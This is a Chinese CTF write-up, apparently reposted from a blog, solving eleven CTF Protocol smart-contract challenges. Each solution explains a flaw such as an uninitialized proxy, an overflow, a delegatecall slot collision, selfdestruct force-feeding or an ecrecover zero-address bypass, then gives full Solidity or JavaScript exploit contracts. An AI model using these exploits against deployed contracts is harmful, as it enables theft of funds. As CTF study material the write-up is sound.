[区块链安全-CTF Protocol]区块链智能合约安全实战(已完结)

这篇具有很好参考价值的文章主要介绍了[区块链安全-CTF Protocol]区块链智能合约安全实战(已完结)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

这次是尝试CTF-PROTOCOL的题目,望与诸君共勉。后面应该会参考DeFiHackLabs推出对一些列攻击的POC手写和解析,同时还要参加Hackathon。大家一起努力!

1. The Lost Kitty

题目分析:

HiddenKittyCat合约中,核心部分为:

    constructor() {
        _owner = msg.sender;
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

        assembly {
            sstore(slot, "KittyCat!")
        }
    }

可以知道kitty存储的位置是由keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));决定的。而我们则是与House合约交互,每次调用一个isKittyCatHere,生成Kitty并查找。

这个因为完全取决于block.timestamp,block.number,类似于Ethernaut里的flipflopcoin

部署后,House合约为0xD50b65d0c843E70ab06666fEA69EC87Aa34581fB

攻击合约:

pragma solidity  ^0.8.0;

interface IHouse{
    function isKittyCatHere(bytes32 _slot) external;
}

contract KittyHacker {

    constructor() {

    }

    function hack(address house) public {
        bytes32 slot = 
            keccak256(
                abi.encodePacked(
                    block.timestamp, 
                    blockhash(block.number - 69)
                    )
            );
        IHouse(house).isKittyCatHere(slot);
    }

}

部署后攻击合约为0x3791eeD6c8fedAf433C8ce53B8Fa69C11e0b237D发起进攻,Hash为0x6ced57a2de0f1dfe348f61b77e766d330a8c123cac2296cd61146796170940e9,攻击后已经修改成功。


2. RootMe

注意要点在于

accountByIdentifier[identifier] = msg.sender

identifier = keccak256(abi.encodePacked(user, salt));

因为abi.encodePacked解释如下:

types shorter than 32 bytes are concatenated directly, without padding or sign extension

因此,虽然在部署时ROOTROOT的输入,但ROOTROOT也能encode出同样的效果。

攻击合约如下:

pragma solidity  ^0.8.0;

interface IRootMe{
    function register(string memory username, string memory salt) external;
    function write(bytes32 storageSlot, bytes32 data) external;

}

contract RootMeHacker {

    constructor(){

    }

    function testEncodePackedValue(string memory user, string memory salt) public pure returns (bytes memory) {
        bytes memory packed = abi.encodePacked(user, salt);
        return packed;
    }

    function attack(address target,bytes32  slot, bytes32  content) public{
        IRootMe(target).register("RO","OTROOT");
        IRootMe(target).write(slot,content);
    }
}

部署合约地址为0xb92F069Aec3Ae791fA717FFC0D9FAE73039bB1a5。这里先用testEncodePackedValue测试,(ROOTROOT)的输入其实只是将值拼接0x524f4f54524f4f54R的Ascii值为82,对应Hex就是0x52

同时,我们先通过register获取权限,再通过write写入slot0000000000000000000000000000000000000000000000000000000000000000中的值为0000000000000000000000000000000000000000000000000000000000000001。(记得传参时,前面需要加上0x)。攻击后已经修改完成。


3. Trickster

进行了测试,如果直接与JackpotProxy交互,则会有来无回,为什么?

因为在JackpotProxy::constructor中,创建了_proxy,但却没有进行初始化initialize。所以在调用claimPrize时,ownermsg.sender不匹配,因此无法成行。

我们在Goerli上查看调用Tx,可以获得JackPot=0x8Aa401B931C990DCA9D4d5EAbe67217e320D731C,直接调用JackPot::initialize获得所有权。

在获取后,传入100000000000000wei,调用JackPot::claimPrize。此时,已经掏空JackPot余额。


4. The Golden Ticket

初步判断,看看是不是有溢出漏洞 waitlist[msg.sender] += uint40(_time);(unchecked)。这里遇到一个问题,remix里VM模式无论如何都无法调用joinRaffle,一直报错Not Found。但在web3 injector模式中却没问题,不知道其中原因。估计是一个Bug?

pragma solidity  ^0.8.0;

interface IGoldenTicket{
    function joinWaitlist() external;
    function updateWaitTime(uint256) external;
    function joinRaffle(uint256) external;
    function giftTicket(address) external;
    function waitlist(address) external returns (uint40);
}

contract TheGoldenTicketHacker {
 
    constructor(){

    }

    function check(address _addr) public  returns (bool){
        return (IGoldenTicket(_addr).waitlist(address(this)) < block.timestamp );
    }

    function checkTimestamp() public view returns (uint256){
        return block.timestamp;
    }

    function attack(address _addr,address _to) public{
        IGoldenTicket(_addr).joinWaitlist();
        IGoldenTicket(_addr).updateWaitTime(type(uint40).max- IGoldenTicket(_addr).waitlist(address(this)) + 1 days);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        IGoldenTicket(_addr).joinRaffle(randomNumber);
        IGoldenTicket(_addr).giftTicket(_to);
    }
}

5. Smart Horrocrux

原来Horrocrux魂器的意思,学习到了。

切入点肯定在destroyIt里,我们对该函数的callData进行分析,假设输入spell=111,magic=3calldata如下:

0x60c4a9f1 // selector
0000000000000000000000000000000000000000000000000000000000000040 // 0x0 string index
0000000000000000000000000000000000000000000000000000000000000003 // 0x20 magic
0000000000000000000000000000000000000000000000000000000000000003 // 0x40 string length
3131310000000000000000000000000000000000000000000000000000000000 // string value
spellInBytes := mload(add(spell, 32))

以上读取的肯定是string value = 0x45746865724b6164616272610000000000000000000000000000000000000000 (ascii -> bytes) 所以value应该是EtherKadabra

而又需要 (bytes4(bytes32(uint256(spellInBytes) - magic)))恰好是kill(selector为0x41c0e1b5)(实际计算时应该是后面还需要补56个0)所以magic=1674133761342824277929123818302714816965480662716616051558525647956333297664

同时别忘了还需要将invincible设置为false。这需要合约只有1wei,只能通过自毁合约进行,所以我们也得写个合约。最后攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface ISmartHorrocrux {
    function destroyIt(string memory,uint256) external;
    function setInvincible() external;
}

contract Bomb {

    constructor() {

    }

    fallback() external payable {

    }

    function destroy(address victim) public{
        selfdestruct(payable(victim));
    }


}

contract SmartHorrocruxHacker {

    ISmartHorrocrux victim;

    constructor(address target) payable{
        victim = ISmartHorrocrux(target);
    }


    function attack(string memory spell, uint256 magic) public{
        Bomb bomb = new Bomb();
        payable(address(bomb)).transfer(1);
        payable(address(victim)).call("");
        bomb.destroy(address(victim));
        victim.setInvincible();
        victim.destroyIt(spell,magic);
    }
}

此时gas要给高一点,不然会出现outOfGas。

PS: Remix体验简直是糟糕!浪费我很多时间!


6. Gas Valve

这一题要注意:model no. EIP-150,有解释如下:使用ADD这样的简单操作相对于复杂计算操作,例如用SHA256加密一个特定的数字,会消耗较少的gas。攻击者通过在他的交易合同中不断的使用某些特定的opcodes使得整个交易变得计算复杂却在网络上消耗极少的费用。

问题在这里

        try nozzle.insert() returns (bool result) {
            lastResult = result;
            return result;
        } catch {
            lastResult = false;
            return false;
        }

当抛出异常才会认为失败,否则即使result=false也会直接返回。

其实思路很简单,如何消耗完所有的gas呢?尝试循环调用直到达到最大深度,结果失败(抛出了异常)。查看Gas Refund可以看到,selfdestruct会立马触发gasRefund,而不会抛出异常。

攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ValveHacker {

    constructor() {

    }

    function insert() public returns (bool result) {
        selfdestruct(payable(msg.sender));
    }

}

7. Stonk

问题在于:

require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");

因为solidity中没有小数,所以会导致会有整除为0的情况,即1/2=0,也就是将GME换成TSLA时,可以小额兑换,实际什么也拿不到。

一开始,想用合约去攻击,后来发现写死有msg.sender,所以只能用js去写了。

const abi = [
    "function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout)",
    "function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout)"
];

const addressStonk = '0x1552F5d5e9d31E51a412a8E5DA2b8F27040Dfb3a';
const contract= new ethers.Contract(addressStonk, abi, provider);

console.log(contract);

async function attack(){
    const tx1 = await contract.connect(hacker).sellTSLA(20,1000);
    await tx1.wait();
    console.log(tx1);

    for (i = 0 ;i < 50; i++){
        await contract.connect(hacker).buyTSLA(40,0);
    }
}

attack();

PS : Gas 杀手!


8. Pelusa

有一点限制 require(msg.sender.code.length == 0, "Only EOA players");且还要实现IGamehandOfGod()函数。这就表明要在创建过程code.length=0时调用passTheBall。且还要通过delegateCall修改第二个槽上的变量。

这里好像遇到一个大坑!在remix中,不同区块下blockhash结果似乎不一样?仔细研究了一下:

所述block.number状态变量允许获得所述当前块的高度。当矿工获得执行合约代码的交易时,block.number该交易的未来区块的 的 是已知的,因此合约可以可靠地访问其价值。但是,在 EVM 中执行交易的那一刻,由于显而易见的原因,正在创建的区块的区块哈希尚不可知,并且 EVM 将始终产生零。

所以:

        value = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
        value2 = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));

以上两者的结果就是相等的!

所以攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PelusaHacker {

    Exploit public exp;

    constructor() {

    }

    function attack(address target, address sender) public{

        while (true) {
            exp = new Exploit(target);
            if (uint256(uint160(address(exp))) % 100 == 10){
                break;
            }
        }
        exp.setParam(sender);
        exp.attack();

    }

}


contract Exploit {

    address public  fakeOwner;
    uint256 private shot = 0;
    address private target;

    constructor(address _target){
        target = _target;
        if (uint256(uint160(address(this))) % 100 == 10){
            IPelusa(target).passTheBall();
        }
    }

    function setParam(address sender) public {
        fakeOwner =  address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));
    }

    function getBallPossesion() public view returns (address){
        return fakeOwner;
    }

    function handOfGod() public returns (uint256){
        shot = shot + 1;
        return 22061986;
    }

    function attack() public {
        IPelusa(target).shoot();
    }
}

interface IPelusa{
    function passTheBall() external;
    function shoot() external;
}

攻击时,我们应该找到sender:"0xaa758e00eca745cab9232b207874999f55481951"

记得把gas拉高一点。结果在测试网上似乎还有问题,再跑一遍又好了!


9. Hack the Mothership!

问题出现在:

(bool success,) = module.delegatecall(msg.data);

modulespaceship又出现了slot collision

我们想要 hacked = true;,就需要满足leader == msg.sender,所以需要

promoteToLeader(address _leader),这里就需要满足:

The proposed leader is a spaceship captain
	=> assignNewCaptainToShip(address _newCaptain) mothership
		=> askForNewCaptain(address _newCaptain) spaceship
        	=> _isCrewMember(address)
    => isLeaderApproved(address) => OK

所以我们的思路:

  1. 对于spaceship,将其captain置0,将自己加入fleetaskForNewCaptain
  2. addModule修改LeaderShip指向合约,直接通过
  3. promoteToLeader

因为都要通过,所以spaceshipcaptain都要修改。

攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ShipHacker {

    IMotherShip public ship;
    FakeCaptain public captain;
    ISpaceShip public spaceship;

    constructor(address target) {
        ship = IMotherShip(target);
    }

    function fleet(uint256 x)  public{
        ship.fleet(x);
    }

    function attack() public{
        for (uint i = 0; i < 5; i++){
            spaceship = ISpaceShip(ship.fleet(i));
            captain = new FakeCaptain();
            spaceship.replaceCleaningCompany(address(0));
            spaceship.addAlternativeRefuelStationsCodes(uint256(uint160((address(captain)))));
            captain.attack(address(spaceship));
        }
        ship.promoteToLeader(address(captain));
        captain.hack(address(ship));
    }


}

contract FakeCaptain {

    constructor() {

    }

    function hack(address _ship) external {
        IMotherShip(_ship).hack();
    }

    function attack(address _spaceship) public {
        ISpaceShip(_spaceship).askForNewCaptain(address(this));
        ISpaceShip(_spaceship).addModule(ISpaceShip.isLeaderApproved.selector,address(this));
    }


    function isLeaderApproved(address) external pure {

    }
}

interface IMotherShip{
    function hack() external;
    function promoteToLeader(address _leader) external;
    function fleet(uint256) external returns (address);
}

interface ISpaceShip{
    function askForNewCaptain(address _newCaptain) external;
    function addModule(bytes4 _moduleSig, address _moduleAddress) external;
    function replaceCleaningCompany(address _cleaningCompany) external;
    function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external;
    function isLeaderApproved(address) external pure;
}

10. Phoenixtto

        assembly {
            x := create2(0, add(_code, 0x20), mload(_code), 0)
        }
        addr = x;

仔细观察,这个就是Metamorphic合约。

5860208158601c335a63aaf10f428752fa158151803b80938091923cf3,这串bytecode的原理是staticcall调用getImplementation方法,获取implementation合约地址,再用extcodecopy把implementation合约的runtime bytecode复制到memory,做为当前部署合约的runtime bytecode,以此来动态替换合约的runtime bytecode,而合约地址又不变。

所以,我们先自毁合约(手动),然后修改逻辑合约(通过攻击合约完成)即可!

通过`capture`手动销毁

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PhoenixttoHacker {

    constructor(){

    }

    function attack(address _target) public{
        ILab(_target).reBorn(type(Phoenixtto2).creationCode);
    }

    fallback() external payable {

    }
}

contract Phoenixtto2 {
    address public owner;
    bool private _isBorn;

    function reBorn() external {
        if (_isBorn) return;

        _isBorn = true;
        owner = PLAYER_ADDRESS;
    }

    function capture(string memory _newOwner) external {
        if (!_isBorn || msg.sender != tx.origin) return;

        address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
        if (newOwner == msg.sender) {
            owner = newOwner;
        } else {
            selfdestruct(payable(msg.sender));
            _isBorn = false;
        }
    }
}

interface ILab{
    function reBorn(bytes memory _code) external;
}

11. Metaverse Supermarket

buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature)

此处oraclePrice 和 signature是分离的,只知道有签名,谁知道是不是对此签名呢?问题在于

ecrecover could return address(0) in case of an error!

而我们有没有对Oracle做初始化!所以recovered == oracle天然是成立的,我们可以随意填写。

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;


struct OraclePrice {
    uint256 blockNumber;
    uint256 price;
}

struct Signature {
    uint8 v;
    bytes32 r;
    bytes32 s;
}


contract InflatStoreHacker {

    constructor() {

    }

    function attack(address store) public{
        OraclePrice memory price = OraclePrice(block.number,0);
        Signature memory sig = Signature(27, 0, 0);
        IInflaStore s = IInflaStore(store);
        IMeal meal = IMeal(s.meal());
        for (uint i = 0; i< 10; i++){
            s.buyUsingOracle(price,sig);
            meal.transferFrom(address(this),0x4fd74AF56b8843b07A30DE799174AEc8ad8DF577,i);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return InflatStoreHacker.onERC721Received.selector;
    }

}

interface IInflaStore{
    function meal() external returns (address);
    function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external;
}

interface IMeal {
    function transferFrom(address,address,uint256) external;
}

挑战完成!文章来源地址https://www.toymoban.com/news/detail-608678.html

到了这里,关于[区块链安全-CTF Protocol]区块链智能合约安全实战(已完结)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...

       对于想学习或者参加CTF比赛的朋友来说,CTF工具、练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助。 CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容齐全,收藏备用。 1、CTF在线工具箱:http://ctf.ssleye.com/    包含CTF比赛

    2023年04月24日
    浏览(92)
  • 【区块链实战】Solidity 智能合约如何给账户充值

    目录 一、实战场景 二、知识点 智能合约 智能合约函数 智能合约充值 payable 智能合约部署地址 智能合约的运行 合约 this 对象 三、菜鸟实战 四、运行结果 Solidity 智能合约如何给账户充值 1、充值金额 2、充值并查看结果

    2024年02月09日
    浏览(50)
  • 智能合约安全,著名的区块链漏洞:双花攻击

    区块链技术通过提供去中心化和透明的系统彻底改变了各个行业。 但是,与任何技术一样,它也不能免受漏洞的影响。一个值得注意的漏洞是双花攻击。 在本文中,我们将深入研究双花攻击的复杂性,探讨其工作原理、开发方法、预防措施及其对区块链生态系统的影响。 区

    2024年02月04日
    浏览(57)
  • 区块链与智能合约的数据安全:如何保护用户信息

    区块链技术是一种分布式、去中心化的数据存储和交易方式,它的核心概念是将数据存储在一个由多个节点组成的链表中,每个节点称为区块,每个区块包含一定数量的交易数据。智能合约则是一种自动化的协议,它可以在区块链上自动执行一些预定的操作。这两种技术结合

    2024年04月09日
    浏览(45)
  • 2023安全与软工顶会/刊中区块链智能合约相关论文

    主要整理了2023年四大安全顶会、四大软工顶会和两个软工顶刊中,有关区块链智能合约的相关论文。 搜索方式 是:在 dblp 中该顶会的页面列表直接使用 Ctrl + F 搜索 block 、smart contract,所以如若名字中没有,可能会有遗漏。 搜集包含有: 软工顶会:ISSTA、FSE、ASE、ICSE 软工顶

    2024年02月13日
    浏览(62)
  • 网络安全、夺旗赛(CTF)技能汇总_ctf夺旗赛

    本文综合博主参赛准备经历,总结介绍了过程中了解的网络安全、夺旗赛(CTF)相关知识及资源,分为资料篇、工具篇、解题思路篇。 资料篇 CTF Wiki 对CTF整体介绍,各个方向的介绍,有例题,入门必备。 CTF工具集合 集成了工具资源,方便下载。 如果你对网络安全入门感兴

    2024年02月07日
    浏览(51)
  • 智能合约与数据验证技术:保障区块链系统的安全与可靠性

    区块链技术作为一种新兴的分布式数据存储和共享方式,具有很高的安全性和可靠性。然而,为了确保区块链系统的安全与可靠性,需要一些机制来保证数据的完整性和有效性。智能合约和数据验证技术就是这样一种机制,它们在区块链系统中扮演着关键的角色。 本文将从以

    2024年04月16日
    浏览(47)
  • 网络安全CTF比赛有哪些事?——《CTF那些事儿》告诉你

    目录 前言 一、内容简介 二、读者对象  三、专家推荐  四、全书目录   CTF比赛是快速提升网络安全实战技能的重要途径,已成为各个行业选拔网络安全人才的通用方法。但是,本书作者在从事CTF培训的过程中,发现存在几个突出的问题: 1)线下CTF比赛培训中存在严重的

    2024年02月08日
    浏览(51)
  • 什么是CTF?打CTF的意义是什么?(附网络安全入门教程)

    什么是CTF? CTF在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。它起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十

    2024年02月13日
    浏览(40)
  • CTF安全竞赛介绍

    目录 一、赛事简介 二、CTF方向简介 1.Web(Web安全) (1)简介 (2)涉及主要知识 2.MISC(安全杂项) (1)介绍 (2)涉及主要知识 3.Crypto(密码学) (1)介绍 (2)涉及主要知识 4.Reverse(逆向工程) (1)介绍 (2)涉及知识点 5.PWN(二进制安全) (1)介绍 (2)知识点

    2024年02月12日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包